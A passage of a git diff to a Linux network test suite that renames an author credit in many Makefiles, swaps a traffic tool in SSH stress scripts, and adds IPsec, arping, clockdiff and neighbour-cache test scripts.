 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/stress/ssh/ssh-stress b/testcases/network/stress/ssh/ssh-stress
index 7960627..3fdb5c2 100644
--- a/testcases/network/stress/ssh/ssh-stress
+++ b/testcases/network/stress/ssh/ssh-stress
@@ -34,7 +34,7 @@
 {
 	# Stop the ssh daemon
 	test -s sshd.pid && kill $(cat sshd.pid)
-	pkill 'tcp_fastopen$'
+	pkill 'netstress$'
 	tst_rmdir
 	[ "$rtmpdir" ] && tst_rhost_run -c "rm -rf $rtmpdir"
 	TMPDIR=
@@ -131,7 +131,7 @@
 	# Run a TCP traffic server
 	port=$(tst_get_unused_port ipv${ipver} stream)
 
-	tcp_fastopen -R 3 -g $port > tcp_server.log 2>&1 &
+	netstress -R 3 -g $port > tcp_server.log 2>&1 &
 
 	tst_rhost_run -s -c "ssh-stress03-rmt $ipver $(tst_ipaddr) \
 		$rconfig $port $NS_TIMES"
diff --git a/testcases/network/stress/ssh/ssh-stress03-rmt b/testcases/network/stress/ssh/ssh-stress03-rmt
index a5b7af0..44077ec 100644
--- a/testcases/network/stress/ssh/ssh-stress03-rmt
+++ b/testcases/network/stress/ssh/ssh-stress03-rmt
@@ -57,7 +57,7 @@
 esac
 
 # Start the TCP traffic clients
-tcp_fastopen -r $requests -l -H $localhost -g $lport > /dev/null
+netstress -r $requests -l -H $localhost -g $lport > /dev/null
 ret=$?
 
 # Stop the ssh port forwarding
diff --git a/testcases/network/stress/tcp/Makefile b/testcases/network/stress/tcp/Makefile
index 1bd9dba..8caf2c0 100644
--- a/testcases/network/stress/tcp/Makefile
+++ b/testcases/network/stress/tcp/Makefile
@@ -17,10 +17,13 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS		:= tcp_ipsec.sh
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/network/stress/tcp/multi-diffip/Makefile b/testcases/network/stress/tcp/multi-diffip/Makefile
index d94f9d3..ccf5863 100644
--- a/testcases/network/stress/tcp/multi-diffip/Makefile
+++ b/testcases/network/stress/tcp/multi-diffip/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/tcp/multi-diffnic/Makefile b/testcases/network/stress/tcp/multi-diffnic/Makefile
index d25d20e..b0894ac 100644
--- a/testcases/network/stress/tcp/multi-diffnic/Makefile
+++ b/testcases/network/stress/tcp/multi-diffnic/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/tcp/multi-diffport/Makefile b/testcases/network/stress/tcp/multi-diffport/Makefile
index 5e0bdf2..cfd5085 100644
--- a/testcases/network/stress/tcp/multi-diffport/Makefile
+++ b/testcases/network/stress/tcp/multi-diffport/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/tcp/multi-sameport/Makefile b/testcases/network/stress/tcp/multi-sameport/Makefile
index fb127b8..dd6f269 100644
--- a/testcases/network/stress/tcp/multi-sameport/Makefile
+++ b/testcases/network/stress/tcp/multi-sameport/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/tcp/tcp_ipsec.sh b/testcases/network/stress/tcp/tcp_ipsec.sh
new file mode 100755
index 0000000..ebcd1d5
--- /dev/null
+++ b/testcases/network/stress/tcp/tcp_ipsec.sh
@@ -0,0 +1,51 @@
+#!/bin/sh
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TCID=tcp_ipsec
+TST_TOTAL=3
+TST_CLEANUP="tst_ipsec_cleanup"
+
+client_requests=10000
+max_requests=10
+
+. ipsec_lib.sh
+
+do_setup()
+{
+	# Configure SAD/SPD
+	if [ -n "$IPSEC_MODE" -a -n "$IPSEC_PROTO" ]; then
+		tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
+		tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
+	fi
+}
+
+do_test()
+{
+	IPSEC_SIZE_ARRAY="${IPSEC_SIZE_ARRAY:-100 1000 65000}"
+
+	for p in $IPSEC_SIZE_ARRAY; do
+		tst_netload -H $(tst_ipaddr rhost) -n $p -N $p \
+			-r $client_requests -R $max_requests
+	done
+}
+
+do_setup
+
+do_test
+
+tst_exit
diff --git a/testcases/network/stress/tcp/uni-basic/Makefile b/testcases/network/stress/tcp/uni-basic/Makefile
index 09f1071..310e8f0 100644
--- a/testcases/network/stress/tcp/uni-basic/Makefile
+++ b/testcases/network/stress/tcp/uni-basic/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/tcp/uni-dsackoff/Makefile b/testcases/network/stress/tcp/uni-dsackoff/Makefile
index df31c1a..4b858b1 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/Makefile
+++ b/testcases/network/stress/tcp/uni-dsackoff/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/Makefile b/testcases/network/stress/tcp/uni-pktlossdup/Makefile
index 54cf469..d6511f7 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/Makefile
+++ b/testcases/network/stress/tcp/uni-pktlossdup/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/tcp/uni-sackoff/Makefile b/testcases/network/stress/tcp/uni-sackoff/Makefile
index 890aa27..ef469d6 100644
--- a/testcases/network/stress/tcp/uni-sackoff/Makefile
+++ b/testcases/network/stress/tcp/uni-sackoff/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/tcp/uni-smallsend/Makefile b/testcases/network/stress/tcp/uni-smallsend/Makefile
index 27c8c2c..ba5fbbb 100644
--- a/testcases/network/stress/tcp/uni-smallsend/Makefile
+++ b/testcases/network/stress/tcp/uni-smallsend/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/tcp/uni-tso/Makefile b/testcases/network/stress/tcp/uni-tso/Makefile
index 64e9859..7aafd16 100644
--- a/testcases/network/stress/tcp/uni-tso/Makefile
+++ b/testcases/network/stress/tcp/uni-tso/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/tcp/uni-winscale/Makefile b/testcases/network/stress/tcp/uni-winscale/Makefile
index bf051cf..8958486 100644
--- a/testcases/network/stress/tcp/uni-winscale/Makefile
+++ b/testcases/network/stress/tcp/uni-winscale/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/udp/Makefile b/testcases/network/stress/udp/Makefile
index 31e1f7d..2489b0a 100644
--- a/testcases/network/stress/udp/Makefile
+++ b/testcases/network/stress/udp/Makefile
@@ -17,10 +17,13 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS		:= udp_ipsec.sh
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/network/stress/udp/multi-diffip/Makefile b/testcases/network/stress/udp/multi-diffip/Makefile
index a0f2148..6547040 100644
--- a/testcases/network/stress/udp/multi-diffip/Makefile
+++ b/testcases/network/stress/udp/multi-diffip/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/udp/multi-diffnic/Makefile b/testcases/network/stress/udp/multi-diffnic/Makefile
index 607ec12..d542555 100644
--- a/testcases/network/stress/udp/multi-diffnic/Makefile
+++ b/testcases/network/stress/udp/multi-diffnic/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/udp/multi-diffport/Makefile b/testcases/network/stress/udp/multi-diffport/Makefile
index a76c322..66714c9 100644
--- a/testcases/network/stress/udp/multi-diffport/Makefile
+++ b/testcases/network/stress/udp/multi-diffport/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/stress/udp/udp_ipsec.sh b/testcases/network/stress/udp/udp_ipsec.sh
new file mode 100755
index 0000000..8e047a4
--- /dev/null
+++ b/testcases/network/stress/udp/udp_ipsec.sh
@@ -0,0 +1,50 @@
+#!/bin/sh
+# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TCID=udp_ipsec
+TST_TOTAL=3
+TST_CLEANUP="tst_ipsec_cleanup"
+
+client_requests=10000
+
+. ipsec_lib.sh
+
+do_setup()
+{
+	# Configure SAD/SPD
+	if [ -n "$IPSEC_MODE" -a -n "$IPSEC_PROTO" ]; then
+		tst_ipsec lhost $(tst_ipaddr) $(tst_ipaddr rhost)
+		tst_ipsec rhost $(tst_ipaddr rhost) $(tst_ipaddr)
+	fi
+}
+
+do_test()
+{
+	IPSEC_SIZE_ARRAY="${IPSEC_SIZE_ARRAY:-100 1000 65000}"
+
+	for p in $IPSEC_SIZE_ARRAY; do
+		tst_netload -H $(tst_ipaddr rhost) -U -n $p -N $p \
+			-r $client_requests
+	done
+}
+
+do_setup
+
+do_test
+
+tst_exit
diff --git a/testcases/network/stress/udp/uni-basic/Makefile b/testcases/network/stress/udp/uni-basic/Makefile
index bfd3d19..4f9c91e 100644
--- a/testcases/network/stress/udp/uni-basic/Makefile
+++ b/testcases/network/stress/udp/uni-basic/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, October 2009
+# Ngie Cooper, October 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/network/tcp_cmds/Makefile b/testcases/network/tcp_cmds/Makefile
index a3a8224..748e024 100644
--- a/testcases/network/tcp_cmds/Makefile
+++ b/testcases/network/tcp_cmds/Makefile
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/network/tcp_cmds/Makefile.inc b/testcases/network/tcp_cmds/Makefile.inc
index 8ef8717..114141b 100644
--- a/testcases/network/tcp_cmds/Makefile.inc
+++ b/testcases/network/tcp_cmds/Makefile.inc
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 GENERATE_FILE_DIR	:= ../..
diff --git a/testcases/network/tcp_cmds/arp/arp01 b/testcases/network/tcp_cmds/arp/arp01
deleted file mode 100755
index 601b7eb..0000000
--- a/testcases/network/tcp_cmds/arp/arp01
+++ /dev/null
@@ -1,112 +0,0 @@
-#!/bin/sh
-#******************************************************************************
-#
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : arp
-#
-#  PURPOSE: To test the basic functionality of `arp`.
-#
-#  SETUP: The "RHOST" setting should be exported to be the hostname of
-#         another machine on the same subnet.  Otherwise, the hostname
-#         of the tested machine will be used.
-#
-#  HISTORY:
-#    06/05/03 Manoj Iyer - manjo@mail.utexas.edu
-#      - Ported to use LTP test harness API
-#    03/01 Robbie Williamson (robbiew@us.ibm.com)
-#      -Ported
-#
-#-----------------------------------------------------------------------
-
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  do_setup
-#
-#-----------------------------------------------------------------------
-
-do_setup()
-{
-
-    NUMLOOPS=${NUMLOOPS:-20}
-    TST_TOTAL=$(( $NUMLOOPS * 2 ))
-
-    tst_setup
-    exists arp grep hostname ping sleep whoami
-
-    RHOST=${RHOST:-$(hostname)}
-    SLEEPTIME=${SLEEPTIME:-1}
-    LUSER=$(whoami)
-
-    [ "$LUSER" = "root" ] || end_testcase "Must be root to run this test!"
-
-}
-
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  do_test
-#
-#-----------------------------------------------------------------------
-
-do_test()
-{
-    while [ $TST_COUNT -le $NUMLOOPS ]; do
-        arp -a 2>&1 1>/dev/null || end_testcase "arp -a failed"
-        incr_tst_count
-    done
-
-    sleep $SLEEPTIME
-
-    # PURPOSE:  stress the automatic creation of arp entries by pinging a host
-    #           and deleting the arp entry again.
-
-    while [ $TST_COUNT -le $TST_TOTAL ]; do
-
-        ping -c1 $RHOST 2>&1 1>/dev/null || end_testcase "ping $RHOST failed"
-
-        if ! arp -a | grep "$RHOST\>" 2>&1 1>/dev/null; then
-            end_testcase "arp -a failed"
-        fi
-
-        if ! arp -d $RHOST 2>&1 1>/dev/null; then
-            end_testcase "arp -d $RHOST failed"
-        fi
-
-        incr_tst_count
-
-        sleep $SLEEPTIME
-
-    done
-
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION: MAIN
-# PURPOSE:  To invoke the functions to perform the tasks outlined in the
-#           prologue.
-# INPUT:    None.
-# OUTPUT:   None.
-#-----------------------------------------------------------------------
-
-. net_cmdlib.sh
-
-read_opts $*
-do_setup
-do_test
-end_testcase
diff --git a/testcases/network/tcp_cmds/arping/Makefile b/testcases/network/tcp_cmds/arping/Makefile
new file mode 100644
index 0000000..9af15b3
--- /dev/null
+++ b/testcases/network/tcp_cmds/arping/Makefile
@@ -0,0 +1,22 @@
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS		:= arping01.sh
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/arping/arping01.sh b/testcases/network/tcp_cmds/arping/arping01.sh
new file mode 100755
index 0000000..66f161b
--- /dev/null
+++ b/testcases/network/tcp_cmds/arping/arping01.sh
@@ -0,0 +1,41 @@
+#!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TCID=arping01
+TST_TOTAL=1
+. test_net.sh
+
+tst_require_root
+tst_check_cmds arping
+
+timeout="10"
+ip_addr=$(tst_ipaddr rhost)
+dev=$(tst_iface)
+
+tst_resm TINFO "arping host '$RHOST' with ip '$ip_addr' dev '$dev'"
+tst_resm TINFO "with timeout '$timeout' seconds"
+
+arping -w $timeout "$ip_addr" -I $dev -fq
+
+if [ $? -ne 0 ]; then
+	tst_resm TFAIL "arping to '$RHOST' failed"
+else
+	tst_resm TPASS "done"
+fi
+
+tst_exit
diff --git a/testcases/network/tcp_cmds/clockdiff/Makefile b/testcases/network/tcp_cmds/clockdiff/Makefile
new file mode 100644
index 0000000..3b212a9
--- /dev/null
+++ b/testcases/network/tcp_cmds/clockdiff/Makefile
@@ -0,0 +1,22 @@
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+
+INSTALL_TARGETS		:= clockdiff01.sh
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh b/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh
new file mode 100755
index 0000000..627274c
--- /dev/null
+++ b/testcases/network/tcp_cmds/clockdiff/clockdiff01.sh
@@ -0,0 +1,41 @@
+#!/bin/sh
+# Copyright (c) 2016-2017 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+
+TCID=clockdiff01
+TST_TOTAL=1
+. test_net.sh
+
+tst_require_root
+tst_check_cmds cut clockdiff
+
+tst_resm TINFO "check time delta for $(tst_ipaddr)"
+
+output=$(clockdiff $(tst_ipaddr))
+
+if [ $? -ne 0 ]; then
+	tst_resm TFAIL "clockdiff failed to get delta"
+else
+	delta=$(echo "$output" | cut -d' ' -f2,3)
+	if [ "$delta" = "0 0" ]; then
+		tst_resm TPASS "delta is 0 as expected"
+	else
+		tst_resm TFAIL "not expected data received: '$output'"
+	fi
+fi
+
+tst_exit
diff --git a/testcases/network/tcp_cmds/echo/Makefile b/testcases/network/tcp_cmds/echo/Makefile
index 0817939..f26c248 100644
--- a/testcases/network/tcp_cmds/echo/Makefile
+++ b/testcases/network/tcp_cmds/echo/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/echo/echo01 b/testcases/network/tcp_cmds/echo/echo01
index 9260f21..c111023 100755
--- a/testcases/network/tcp_cmds/echo/echo01
+++ b/testcases/network/tcp_cmds/echo/echo01
@@ -52,7 +52,6 @@
 
     TC=sine
     RHOST=${RHOST:-`hostname`}
-    TCtmp=${TCtmp:-$LTPROOT/testcases/bin/echo$$}
     CLEANUP=${CLEANUP:-ON}
     CREATEFILE=createfile
     ECHOES=echoes${EXEC_SUFFIX}
@@ -75,7 +74,6 @@
 
 do_test()
 {
-    mkdir $TCtmp
     echo  "Creating echo file $ECHOFILE"
     if ! "$LTPROOT/testcases/bin/$CREATEFILE" $ECHOSIZE "$TCtmp/$ECHOFILE"; then
         end_testcase "$ECHOFILE not created"
diff --git a/testcases/network/tcp_cmds/echo/echoes.c b/testcases/network/tcp_cmds/echo/echoes.c
index 8138d28..e6aeb9e 100644
--- a/testcases/network/tcp_cmds/echo/echoes.c
+++ b/testcases/network/tcp_cmds/echo/echoes.c
@@ -121,7 +121,7 @@
 					kill(echo_struc[k].pid, 9);
 				}
 			}
-
+			break;
 		}
 
 	}
diff --git a/testcases/network/tcp_cmds/finger/Makefile b/testcases/network/tcp_cmds/finger/Makefile
index 025dfb6..891a44f 100644
--- a/testcases/network/tcp_cmds/finger/Makefile
+++ b/testcases/network/tcp_cmds/finger/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/ftp/Makefile b/testcases/network/tcp_cmds/ftp/Makefile
index 5b85618..35022f8 100644
--- a/testcases/network/tcp_cmds/ftp/Makefile
+++ b/testcases/network/tcp_cmds/ftp/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/host/Makefile b/testcases/network/tcp_cmds/host/Makefile
index 333047d..7920a0e 100644
--- a/testcases/network/tcp_cmds/host/Makefile
+++ b/testcases/network/tcp_cmds/host/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/network/tcp_cmds/arp/Makefile b/testcases/network/tcp_cmds/ipneigh/Makefile
similarity index 94%
rename from testcases/network/tcp_cmds/arp/Makefile
rename to testcases/network/tcp_cmds/ipneigh/Makefile
index bfaba19..8dc4c56 100644
--- a/testcases/network/tcp_cmds/arp/Makefile
+++ b/testcases/network/tcp_cmds/ipneigh/Makefile
@@ -17,14 +17,14 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-INSTALL_TARGETS		:= arp01
+INSTALL_TARGETS		:= ipneigh01.sh
 
 MAKE_TARGETS		:=
 
diff --git a/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh b/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh
new file mode 100755
index 0000000..99bab16
--- /dev/null
+++ b/testcases/network/tcp_cmds/ipneigh/ipneigh01.sh
@@ -0,0 +1,83 @@
+#!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2000
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Test basic functionality of 'arp' and 'ip neigh'.
+
+TCID=ipneigh01
+NUMLOOPS=${NUMLOOPS:-50}
+TST_TOTAL=2
+. test_net.sh
+
+do_setup()
+{
+	tst_require_root
+	tst_check_cmds ip arp grep ping$TST_IPV6
+}
+
+do_test()
+{
+	local arp_show_cmd="$1"
+	local arp_del_cmd="$2"
+
+	local entry_name
+	[ "$TST_IPV6" ] && entry_name="NDISC" || entry_name="ARP"
+
+	tst_resm TINFO "Stress auto-creation of $entry_name cache entry"
+	tst_resm TINFO "by pinging '$rhost' and deleting entry again"
+	tst_resm TINFO "with '$arp_del_cmd'"
+
+	for i in $(seq 1 $NUMLOOPS); do
+
+		ping$TST_IPV6 -q -c1 $rhost > /dev/null
+
+		local k
+		local ret=1
+		# wait for arp entry at least 3 seconds
+		for k in $(seq 1 30); do
+			$arp_show_cmd | grep -q $rhost
+			if [ $? -eq 0 ]; then
+				ret=0
+				break;
+			fi
+			tst_sleep 100ms
+		done
+
+		[ "$ret" -ne 0 ] && \
+			tst_brkm TFAIL "$entry_name entry '$rhost' not listed"
+
+		$arp_del_cmd
+
+		$arp_show_cmd | grep -q "${rhost}.*$(tst_hwaddr rhost)" && \
+			tst_brkm TFAIL "'$arp_del_cmd' failed, entry has " \
+				       "$(tst_hwaddr rhost)' $i/$NUMLOOPS"
+	done
+
+	tst_resm TPASS "verified adding/removing of $entry_name cache entry"
+}
+
+do_setup
+
+rhost=$(tst_ipaddr rhost)
+
+if [ -z "$TST_IPV6" ]; then
